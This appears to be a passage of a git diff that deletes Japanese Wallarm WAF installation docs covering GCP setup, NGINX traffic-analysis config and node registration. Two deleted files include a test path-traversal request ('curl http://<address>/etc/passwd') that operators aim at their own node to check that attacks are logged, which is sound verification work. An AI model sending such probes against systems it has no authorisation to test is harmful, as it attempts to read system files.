--filter="name~'wallarm-node-6-4-*'" --no-standard-images - ``` -3. 利用可能な最新のイメージ名からバージョン値をコピーし、提供されたイメージ名の形式に貼り付けます。例として、フィルタリングノードのバージョン4.10のイメージは次の名前になります。 - - ```bash - wallarm-node-195710/wallarm-node-6-4-0-20250730-083353 - ``` - -## 2. フィルタリングノードインスタンスを構成する - -起動済みのフィルタリングノードインスタンスを構成するには、次の操作を実行します。 - -1. メニューの**Compute Engine**セクションにある**VM instances**ページに移動します。 -2. 起動したフィルタリングノードインスタンスを選択し、**Edit**ボタンをクリックします。 -3. **Firewalls**設定で該当するチェックボックスをオンにして、必要な種類の受信トラフィックを許可します。 -4. 必要に応じて、プロジェクトのSSHキーによるこのインスタンスへの接続を制限し、このインスタンスへの接続にカスタムのSSH鍵ペアを使用できます。これを行うには、次の操作を実行します。 - 1. **SSH Keys**設定で**Block project-wide**チェックボックスをオンにします。 - 2. **SSH Keys**設定で**Show and edit**ボタンをクリックし、SSH鍵を入力するフィールドを展開します。 - 3. SSHの公開鍵と秘密鍵のペアを生成します。たとえば、`ssh-keygen`やPuTTYgenユーティリティを使用できます。 - - ![PuTTYgenを使用したSSH鍵の生成][img-ssh-key-generation] - - 4. 使用している鍵生成ツールのインターフェイスからOpenSSH形式の公開鍵をコピーし（この例では、PuTTYgenのインターフェイス上の「Public key for pasting into OpenSSH authorized_keys file」エリアから生成された公開鍵をコピーします）、ヒントが「Enter entire key data」と表示されているフィールドに貼り付けます。 - 5. 秘密鍵を保存します。これは、今後この構成済みインスタンスに接続する際に必要です。 -5. ページ下部の**Save**ボタンをクリックして、変更を適用します。 - -## 3. SSHでフィルタリングノードインスタンスに接続する - -インスタンスへの接続方法の詳細は、次の[リンク](https://cloud.google.com/compute/docs/instances/connecting-to-instance)をご覧ください。 - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. インスタンスをWallarm Cloudに接続するためのトークンを生成する - -ローカルのWallarmフィルタリングノードは、適切な種類のWallarmトークンを使用してWallarm Cloudに接続する必要があります。API tokenを使用すると、Wallarm Console UIでnode groupを作成でき、ノードインスタンスを効果的に整理できます。 - -![グループ化されたノード][img-grouped-nodes] - -トークンは次の手順で生成します。 - -=== "APIトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)でWallarm Console → Settings → API tokensを開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPI tokenを見つけるか作成します。 - 1. このトークンをコピーします。 -=== "ノードトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)でWallarm Console → Nodesを開きます。 - 1. 次のいずれかを実行します。 - * **Wallarm node**タイプのノードを作成し、生成されたトークンをコピーします。 - * 既存のnode groupを使用する場合は、ノードのメニュー → **Copy token**でトークンをコピーします。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/restart-nginx.md b/include-ja/waf/installation/cloud-platforms/restart-nginx.md deleted file mode 100644 index 37c932eda4..0000000000 --- a/include-ja/waf/installation/cloud-platforms/restart-nginx.md +++ /dev/null @@ -1,7 +0,0 @@ -設定を反映するには、Wallarmインスタンス上でNGINXを再起動します: - -``` bash -sudo systemctl restart nginx -``` - -設定ファイルを変更した場合は、反映のためにNGINXを再起動する必要があります。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/test-operation-inline.md b/include-ja/waf/installation/cloud-platforms/test-operation-inline.md deleted file mode 100644 index 4b1f8860e7..0000000000 --- a/include-ja/waf/installation/cloud-platforms/test-operation-inline.md +++ /dev/null @@ -1,11 +0,0 @@ -1. ロードバランサーまたはWallarmノードが稼働するマシンのアドレスに対して、テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を送信します: - - ``` - curl http://
              /etc/passwd - ``` -2. [US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)でWallarm Console → **Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 - ![インターフェースのAttacks][attacks-in-ui-image] - - Wallarmはモニタリングモードで動作しているため、Wallarmノードは攻撃をブロックせず、記録します。 - -1. 必要に応じて、ノードの他の動作面も[テスト][link-wallarm-health-check]します。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/test-operation-oob.md b/include-ja/waf/installation/cloud-platforms/test-operation-oob.md deleted file mode 100644 index 1d42a216fd..0000000000 --- a/include-ja/waf/installation/cloud-platforms/test-operation-oob.md +++ /dev/null @@ -1,9 +0,0 @@ -1. トラフィックをミラーリングしているWebサーバーまたはプロキシサーバー、もしくはWallarmノードが稼働しているマシンのアドレス宛に、テスト用の[パストラバーサル][ptrav-attack-docs]攻撃リクエストを送信します： - - ``` - curl http://
              /etc/passwd - ``` -2. Wallarm Console → **Attacks**セクションを、[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)で開き、攻撃が一覧に表示されていることを確認します。 - ![インターフェースのAttacks][attacks-in-ui-image] - -Wallarm OOBはモニタリングモードで動作しているため、Wallarmノードは攻撃をブロックしませんが、記録します。 \ No newline at end of file diff --git a/include-ja/waf/installation/common-customization-options-216.md b/include-ja/waf/installation/common-customization-options-216.md deleted file mode 100644 index 0b6314ff8d..0000000000 --- a/include-ja/waf/installation/common-customization-options-216.md +++ /dev/null @@ -1,10 +0,0 @@ -一般的なカスタマイズオプション: - -* [フィルタリングモードの設定][waf-mode-instr] -* [Wallarmノード変数のログ出力][logging-instr] -* [フィルタリングノードの背後にあるプロキシサーバーのバランサーの使用][proxy-balancer-instr] -* [`block`フィルタリングモードでWallarmの脆弱性スキャン用IPアドレスを許可リストに追加][scanner-allowlisting-instr] -* [ディレクティブ`wallarm_process_time_limit`で単一リクエストの処理時間を制限][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`でサーバーからの応答待ち時間を制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`でリクエストの最大サイズを制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [**libdetection**による攻撃の二重検知][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/common-customization-options-4.4.md b/include-ja/waf/installation/common-customization-options-4.4.md deleted file mode 100644 index 8959d98c0b..0000000000 --- a/include-ja/waf/installation/common-customization-options-4.4.md +++ /dev/null @@ -1,8 +0,0 @@ -一般的なカスタマイズオプション: - -* [フィルタリングモードの設定][waf-mode-instr] -* [Wallarmノードの変数のログ記録][logging-instr] -* [フィルタリングノードの背後にあるプロキシサーバーのバランサーの使用][proxy-balancer-instr] -* [ディレクティブ`wallarm_process_time_limit`による1件のリクエストの処理時間の制限][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`によるサーバー応答の待機時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`によるリクエストの最大サイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-ja/waf/installation/common-customization-options-docker-216.md b/include-ja/waf/installation/common-customization-options-docker-216.md deleted file mode 100644 index ca73c5456e..0000000000 --- a/include-ja/waf/installation/common-customization-options-docker-216.md +++ /dev/null @@ -1,7 +0,0 @@ -* [フィルタリングモードを設定します][waf-mode-instr] -* [Wallarmノード変数をログに記録します][logging-instr] -* [`block`フィルタリングモードでWallarmの脆弱性スキャン用IPアドレスを許可リストに追加します][scanner-allowlisting-instr] -* [ディレクティブ`wallarm_process_time_limit`で単一リクエストの処理時間を制限します][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`でサーバー応答の待ち時間を制限します](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`で最大リクエストサイズを制限します](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [**libdetection**で攻撃を二重検知します][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/common-customization-options-docker-4.4.md b/include-ja/waf/installation/common-customization-options-docker-4.4.md deleted file mode 100644 index 484cb22077..0000000000 --- a/include-ja/waf/installation/common-customization-options-docker-4.4.md +++ /dev/null @@ -1,5 +0,0 @@ -* [フィルタリングモードの設定][waf-mode-instr] -* [Wallarmノード変数のログ出力][logging-instr] -* [ディレクティブ`wallarm_process_time_limit`における単一のリクエストの処理時間の制限][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`におけるサーバー応答の待機時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`におけるリクエストの最大サイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-ja/waf/installation/common-customization-options-docker.md b/include-ja/waf/installation/common-customization-options-docker.md deleted file mode 100644 index 908e2dd0a7..0000000000 --- a/include-ja/waf/installation/common-customization-options-docker.md +++ /dev/null @@ -1,6 +0,0 @@ -* [フィルタリングモードの設定][waf-mode-instr] -* [Wallarmノード変数のログ出力][logging-instr] -* [ディレクティブ`wallarm_process_time_limit`における1件のリクエスト処理時間の制限][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`におけるサーバー応答待ち時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`におけるリクエストボディの最大サイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [**libdetection**による攻撃の二重検知][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/common-customization-options-nginx-216.md b/include-ja/waf/installation/common-customization-options-nginx-216.md deleted file mode 100644 index ef57a90c5c..0000000000 --- a/include-ja/waf/installation/common-customization-options-nginx-216.md +++ /dev/null @@ -1,11 +0,0 @@ -一般的なカスタマイズオプション: - -* [フィルタリングモードの設定][waf-mode-instr] -* [Wallarmノード変数のログ記録][logging-instr] -* [フィルタリングノードの背後にあるプロキシサーバーのロードバランサーの使用][proxy-balancer-instr] -* [`block`フィルタリングモードにおけるWallarmの脆弱性スキャン用IPアドレスの許可リストへの追加][scanner-allowlisting-instr] -* [ディレクティブ`wallarm_process_time_limit`における単一リクエストの処理時間の制限][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`におけるサーバー応答待ち時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`における最大リクエストサイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [NGINXでの動的DNS名前解決の設定][dynamic-dns-resolution-nginx] -* [**libdetection**による攻撃の二重検知][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/common-customization-options-nginx-4.4.md b/include-ja/waf/installation/common-customization-options-nginx-4.4.md deleted file mode 100644 index 80dc3f4ef1..0000000000 --- a/include-ja/waf/installation/common-customization-options-nginx-4.4.md +++ /dev/null @@ -1,9 +0,0 @@ -一般的なカスタマイズオプションは次のとおりです: - -* [フィルタリングモードの構成][waf-mode-instr] -* [Wallarmノード変数のログ記録][logging-instr] -* [フィルタリングノードの背後にあるプロキシサーバのバランサーの使用][proxy-balancer-instr] -* [ディレクティブ`wallarm_process_time_limit`における単一のリクエストの処理時間の制限][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`におけるサーバ応答の待機時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`における最大リクエストサイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [NGINXでの動的DNS解決の構成][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/include-ja/waf/installation/common-customization-options-nginx.md b/include-ja/waf/installation/common-customization-options-nginx.md deleted file mode 100644 index f91c8704f7..0000000000 --- a/include-ja/waf/installation/common-customization-options-nginx.md +++ /dev/null @@ -1,10 +0,0 @@ -一般的なカスタマイズオプション: - -* [フィルタリングモードの設定][waf-mode-instr] -* [Wallarmノード変数のログ記録][logging-instr] -* [フィルタリングノードの背後にあるプロキシサーバーのバランサーの使用][proxy-balancer-instr] -* [ディレクティブ`wallarm_process_time_limit`における単一のリクエスト処理時間の制限][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`におけるサーバー応答待ち時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`における最大リクエストサイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [NGINXでの動的DNS解決の設定][dynamic-dns-resolution-nginx] -* [**libdetection**による攻撃の二重検知][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/common-customization-options.md b/include-ja/waf/installation/common-customization-options.md deleted file mode 100644 index f56cebd553..0000000000 --- a/include-ja/waf/installation/common-customization-options.md +++ /dev/null @@ -1,9 +0,0 @@ -一般的なカスタマイズオプションは次のとおりです: - -* [フィルタリングモードの設定][waf-mode-instr] -* [Wallarmノード変数のログ記録][logging-instr] -* [フィルタリングノードの背後にあるプロキシサーバーのバランサーの使用][proxy-balancer-instr] -* [ディレクティブ`wallarm_process_time_limit`における単一のリクエストの処理時間の制限][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`におけるサーバー応答の待機時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`におけるリクエストの最大サイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [**libdetection**による攻撃の二重検知][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md b/include-ja/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md deleted file mode 100644 index ba09336e4f..0000000000 --- a/include-ja/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md +++ /dev/null @@ -1,78 +0,0 @@ -デフォルトでは、デプロイされたWallarm Nodeは受信トラフィックを解析しません。 - -トラフィック解析を有効にするには、次の設定を行います: - -=== "インライン" - 正規トラフィックのプロキシおよび[インライン][inline-docs]でのトラフィック解析のためにWallarm Nodeをデプロイする場合は、通常は`/etc/nginx/sites-available/default`にある[NGINXの設定ファイル](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/)を更新します。 - - 必要な最小限の設定変更は次のとおりです: - - 1. Wallarm Nodeを`wallarm_mode monitoring;`に設定します。このモードは初期デプロイおよびテストに推奨されます。 - - Wallarmはブロッキングやセーフブロッキングなど、他のモードにも対応しており、詳細は[こちら][waf-mode-instr]をご覧ください。 - 1. 必要なlocationに`proxy_pass`ディレクティブを追加して、ノードが正規トラフィックをどこに転送すべきかを指定します。転送先はアプリケーションサーバーのIP、ロードバランサー、またはDNS名などです。 - 1. 該当するlocationに`try_files`ディレクティブが含まれている場合は削除し、ローカルファイルの影響を受けずにトラフィックがWallarmに渡るようにします。 - - ```diff - server { - ... - + wallarm_mode monitoring; - location / { - + proxy_pass http://example.com; - - # try_files $uri $uri/ =404; - } - ... - } - ``` -=== "アウトオブバンド" - Wallarm Nodeを[アウトオブバンド][oob-docs]のトラフィック解析用にデプロイする場合は、通常は`/etc/nginx/sites-available/default`にある[NGINXの設定ファイル](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/)を更新します。 - - 必要な最小限の設定変更は次のとおりです: - - 1. Wallarm Nodeがミラーリングされたトラフィックを受け付けるよう、NGINXのserverブロックに次の設定を行います: - - ``` - server { - listen 80; - ... - - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22をミラーリングサーバーのアドレスに置き換えます - #set_real_ip_from 222.222.222.22; - #real_ip_header X-Forwarded-For; - #real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - } - ``` - - * `set_real_ip_from`および`real_ip_header`ディレクティブは、Wallarm Consoleで攻撃者のIPアドレスを[表示する][proxy-balancer-instr]ために必要です。 - * `wallarm_force_response_*`ディレクティブは、ミラーリングされたトラフィックから受け取ったコピー以外のすべてのリクエストの解析を無効化するために必要です。 - 1. Wallarm Nodeがミラーリングされたトラフィックを解析できるよう、`wallarm_mode`ディレクティブを`monitoring`に設定します: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - 悪意のあるリクエストはブロック[できません][oob-advantages-limitations]ので、Wallarmが受け付ける唯一の[モード][waf-mode-instr]はモニタリングです。インラインデプロイではセーフブロッキングおよびブロッキングのモードもありますが、`wallarm_mode`ディレクティブをモニタリング以外の値に設定しても、ノードは引き続きトラフィックを監視して悪意のあるトラフィックのみを記録します（offに設定した場合を除きます）。 - 1. ローカルファイルによる処理を介さずにトラフィックがWallarmに渡るよう、NGINXのlocationに`try_files`ディレクティブが含まれている場合は削除します: - - ```diff - server { - ... - location / { - - # try_files $uri $uri/ =404; - } - ... - } - ``` - -特定のトラフィックルーティングのルールや要件に応じて、必要に応じて[NGINX](https://nginx.org/en/docs/dirindex.html)および[Wallarmの設定][waf-directives-instr]をさらにカスタマイズします。 \ No newline at end of file diff --git a/include-ja/waf/installation/common-steps-to-enable-traffic-analysis-inline.md b/include-ja/waf/installation/common-steps-to-enable-traffic-analysis-inline.md deleted file mode 100644 index 8ba65636b6..0000000000 --- a/include-ja/waf/installation/common-steps-to-enable-traffic-analysis-inline.md +++ /dev/null @@ -1,23 +0,0 @@ -デフォルトでは、デプロイ済みのWallarm Nodeは受信トラフィックを解析しません。 - -トラフィック解析を有効化し正規のトラフィックをプロキシするには、通常は`/etc/nginx/sites-available/default`にある[NGINX設定ファイル](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/)を更新します。 - -必要な最小限の設定変更は次のとおりです。 - -1. Wallarm Nodeを`wallarm_mode monitoring;`に設定します。このモードは初期デプロイやテストに推奨されます。 - - Wallarmは、blockingやsafe blockingなど、より多くのモードもサポートしており、詳細は[こちら][waf-mode-instr]をご覧ください。 -1. 必要なlocationに`proxy_pass`ディレクティブを追加して、正規のトラフィックの転送先を決定します。宛先はアプリケーションサーバーのIP、ロードバランサー、またはDNS名に設定できます。 -1. 存在する場合は、ローカルファイルによる干渉なしにトラフィックがWallarmへ送られるよう、変更したlocationから`try_files`ディレクティブを削除します。 - -```diff -server { - ... -+ wallarm_mode monitoring; - location / { -+ proxy_pass http://example.com; -- # try_files $uri $uri/ =404; - } - ... -} -``` \ No newline at end of file diff --git a/include-ja/waf/installation/common-steps-to-enable-traffic-analysis.md b/include-ja/waf/installation/common-steps-to-enable-traffic-analysis.md deleted file mode 100644 index 91615aae23..0000000000 --- a/include-ja/waf/installation/common-steps-to-enable-traffic-analysis.md +++ /dev/null @@ -1,67 +0,0 @@ -デフォルトでは、デプロイ済みのWallarmノードは受信トラフィックを解析しません。 - -選択したWallarmのデプロイ方式（[インライン][inline-docs]または[アウトオブバンド][oob-docs]）に応じて、Wallarmがトラフィックをプロキシするか、トラフィックのミラーを処理するように設定します。 - -ノードがインストールされているマシン上の`/etc/nginx/conf.d/default.conf`ファイルで、以下の設定を行います: - -=== "インライン" - 1. Wallarmが正当なトラフィックをプロキシ先として転送するIPアドレスを設定します。アーキテクチャに応じて、アプリケーションインスタンスやロードバランサのIP、またはDNS名などを指定できます。 - - そのためには、`proxy_pass`の値を編集します。例えば、Wallarmは正当なリクエストを`http://10.80.0.5`に送信します: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. Wallarmノードが受信トラフィックを解析できるように、`wallarm_mode`ディレクティブを`monitoring`に設定します: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - monitoringモードは、初回のデプロイおよびソリューションのテストに推奨されます。Wallarmはsafe blockingおよびblockingモードも提供しています。詳細は[こちら][waf-mode-instr]をご覧ください。 -=== "アウトオブバンド" - 1. Wallarmノードがミラーされたトラフィックを受け入れるように、NGINXの`server`ブロックに以下の設定を行います: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22をミラーリングサーバのアドレスに変更します - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * `set_real_ip_from`および`real_ip_header`ディレクティブは、Wallarm Consoleに[攻撃者のIPアドレスを表示する][proxy-balancer-instr]ために必要です。 - * `wallarm_force_response_*`ディレクティブは、ミラーリングされたトラフィックから受信したコピー以外のすべてのリクエストの解析を無効にするために必要です。 - 1. Wallarmノードがミラーされたトラフィックを解析できるように、`wallarm_mode`ディレクティブを`monitoring`に設定します: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - 悪意のあるリクエストは[ブロックできません][oob-advantages-limitations]ので、Wallarmが受け付ける[モード][waf-mode-instr]はmonitoringのみです。インラインデプロイではsafe blockingおよびblockingモードもありますが、`wallarm_mode`ディレクティブをmonitoring以外の値に設定しても、ノードは引き続きトラフィックを監視し、悪意のあるトラフィックのみを記録します（offに設定した場合を除きます）。 \ No newline at end of file diff --git a/include-ja/waf/installation/connect-waf-and-cloud-4.0.md b/include-ja/waf/installation/connect-waf-and-cloud-4.0.md deleted file mode 100644 index 131f466641..0000000000 --- a/include-ja/waf/installation/connect-waf-and-cloud-4.0.md +++ /dev/null @@ -1,31 +0,0 @@ -!!! info "ポストアナリティクスモジュールが別サーバーにインストールされている場合" - 初期トラフィック処理モジュールとポストアナリティクスモジュールを別々のサーバーにインストールしている場合は、同じノードトークンを使用してこれらのモジュールをWallarm Cloudに接続することを推奨します。Wallarm Console UIには、各モジュールが個別のノードインスタンスとして表示されます。例： - - ![複数のインスタンスを持つノード][img-node-with-several-instances] - - Wallarm nodeは、[ポストアナリティクスモジュールの個別インストール][install-postanalytics-instr]の際にすでに作成されています。同じノード認証情報を使用して初期トラフィック処理モジュールをWallarm Cloudに接続するには： - - 1. ポストアナリティクスモジュールの個別インストール時に生成されたノードトークンをコピーします。 - 1. 以下の一覧の4番目の手順に進みます。 - -Wallarm nodeはWallarm Cloudと連携します。フィルタリングノードをWallarm Cloudに接続するには： - -1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)のWallarm Console → **Nodes**を開き、**Wallarm node**タイプのノードを作成します。 - - ![Wallarm nodeの作成][img-create-wallarm-node] -1. 生成されたトークンをコピーします。 -1. フィルタリングノードをインストールするマシンで`register-node`スクリプトを実行します： - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - ``は、コピーしたトークン値です。 - - !!! info "ポストアナリティクスモジュールが別サーバーにインストールされている場合" - ポストアナリティクスモジュールが別サーバーにインストールされている場合は、[ポストアナリティクスモジュールの個別インストール][install-postanalytics-instr]で生成されたノードトークンを使用することを推奨します。 \ No newline at end of file diff --git a/include-ja/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md b/include-ja/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md deleted file mode 100644 index 29646185fd..0000000000 --- a/include-ja/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md +++ /dev/null @@ -1,21 +0,0 @@ -フィルタリングノードはWallarm Cloudと連携します。ノードをWallarm Cloudに接続するには、次の手順を実行します： - -1. [USクラウド](https://us1.my.wallarm.com/nodes)または[EUクラウド](https://my.wallarm.com/nodes)のWallarm Console → Nodesを開き、**Wallarm node**タイプのノードを作成します。 - - ![Wallarm nodeの作成][img-create-wallarm-node] -1. 生成されたトークンをコピーします。 -1. フィルタリングノードをインストールするマシン上で`register-node`スクリプトを実行します： - - === "USクラウド" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EUクラウド" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - ``はコピーしたトークンの値です。 - - !!! info "複数のインストールで1つのトークンを使用します" - 選択した[プラットフォーム][deployment-platform-docs]に関係なく、1つのトークンを複数のインストールで使用できます。これにより、Wallarm Console UIでノードインスタンスを論理的にグループ化できます。例：開発環境に複数のWallarmノードをデプロイします。各ノードは、それぞれ特定の開発者が所有するマシン上にあります。 \ No newline at end of file diff --git a/include-ja/waf/installation/connect-waf-and-cloud-4.4.md b/include-ja/waf/installation/connect-waf-and-cloud-4.4.md deleted file mode 100644 index 9a74a773dc..0000000000 --- a/include-ja/waf/installation/connect-waf-and-cloud-4.4.md +++ /dev/null @@ -1,33 +0,0 @@ -Wallarm nodeはWallarm Cloudと連携します。フィルタリングノードをWallarm Cloudに接続するには: - -1. [postanalyticsモジュールを個別にインストールしている場合][install-postanalytics-instr]: - - 1. postanalyticsモジュールの個別インストール時に生成されたノードトークンをコピーします。 - 1. 以下のリストの5番目の手順に進みます。初期トラフィックを処理するノードとpostanalyticsを実行するノードで同じトークンを使用することを**推奨**します。 -1. [USクラウド](https://us1.my.wallarm.com/nodes)または[EUクラウド](https://my.wallarm.com/nodes)のWallarm Console → **Nodes**を開き、**Wallarm node**タイプのノードを作成します。 - - ![Wallarm nodeの作成][img-create-wallarm-node] -1. 生成されたトークンをコピーします。 -1. フィルタリングノードをインストールするマシンで`register-node`スクリプトを実行します: - - === "USクラウド" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EUクラウド" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * ``はコピーしたトークンの値です。 - * ノードインスタンスのカスタム名を設定するために`-n `パラメータを追加できます。最終的なインスタンス名は`HOST_NAME_NodeUUID`になります。 - -!!! info "複数のインストールで1つのトークンを使用する" - 選択したデプロイオプションに関係なく、1つのトークンを使用して複数のWallarm nodeをWallarm Cloudに接続できます。この方法により、Wallarm ConsoleのUI内でノードインスタンスを論理的にグループ化できます: - - ![複数のインスタンスを持つノード][img-node-with-several-instances] - - 複数のインストールで1つのトークンを使用することを選択できる例を以下に示します: - - * 開発環境に複数のWallarm nodeをデプロイしており、各ノードが特定の開発者の所有する個別のマシン上にある場合です。 - * 初期トラフィック処理用ノードとpostanalyticsモジュールが別々のサーバーにインストールされている場合です。これらのモジュールは同じノードトークンを使用してWallarm Cloudに接続することを**推奨**します。 \ No newline at end of file diff --git a/include-ja/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md b/include-ja/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md deleted file mode 100644 index 9d69deb7f2..0000000000 --- a/include-ja/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md +++ /dev/null @@ -1,47 +0,0 @@ -WallarmのフィルタリングノードはWallarm Cloudと連携します。ノードをWallarm Cloudに接続する必要があります。 - -ノードをWallarm Cloudに接続する際に、Wallarm Console UIに表示されるノード名を設定し、適切な**node group**にノードを配置できます（UI上でノードを論理的に整理するために使用します）。 - -![グループ化されたノード][img-grouped-nodes] - -ノードをWallarm Cloudに接続するには、[適切な種類][wallarm-token-types]のWallarmトークンを使用します: - -=== "APIトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)のWallarm Console → **Settings** → **API tokens**を開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPIトークンを見つけるか作成します。 - 1. このトークンをコピーします。 - 1. フィルタリングノードをインストールするマシンで`register-node`スクリプトを実行します: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` - - * ``は、`Deploy`ロールを持つAPIトークンのコピーした値です。 - * `--labels 'group='`パラメータは、ノードを``のnode groupに配置します（既存のものがあればそれに、存在しない場合は作成されます）。 - -=== "ノードトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)のWallarm Console → **Nodes**を開きます。 - 1. 次のいずれかを実行します: - * **Wallarm node**タイプのノードを作成し、生成されたトークンをコピーします。 - * 既存の**node group**を使用する場合は、ノードのメニュー → **Copy token**からトークンをコピーします。 - 1. フィルタリングノードをインストールするマシンで`register-node`スクリプトを実行します: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * ``は、コピーしたノードトークンの値です。 - -* ノードインスタンスに任意の名前を設定するために、`-n `パラメータを追加できます。最終的なインスタンス名は: `HOST_NAME_NodeUUID`になります。 \ No newline at end of file diff --git a/include-ja/waf/installation/connect-waf-and-cloud-4.6.md b/include-ja/waf/installation/connect-waf-and-cloud-4.6.md deleted file mode 100644 index b141a38dd1..0000000000 --- a/include-ja/waf/installation/connect-waf-and-cloud-4.6.md +++ /dev/null @@ -1,47 +0,0 @@ -WallarmフィルタリングノードはWallarm Cloudと連携します。ノードをWallarm Cloudに接続する必要があります。 - -ノードをWallarm Cloudに接続する際、Wallarm Console UIに表示されるノード名を設定でき、適切な**node group**（UIでノードを論理的に整理するために使用）に配置できます。 - -![グループ化されたノード][img-grouped-nodes] - -ノードをWallarm 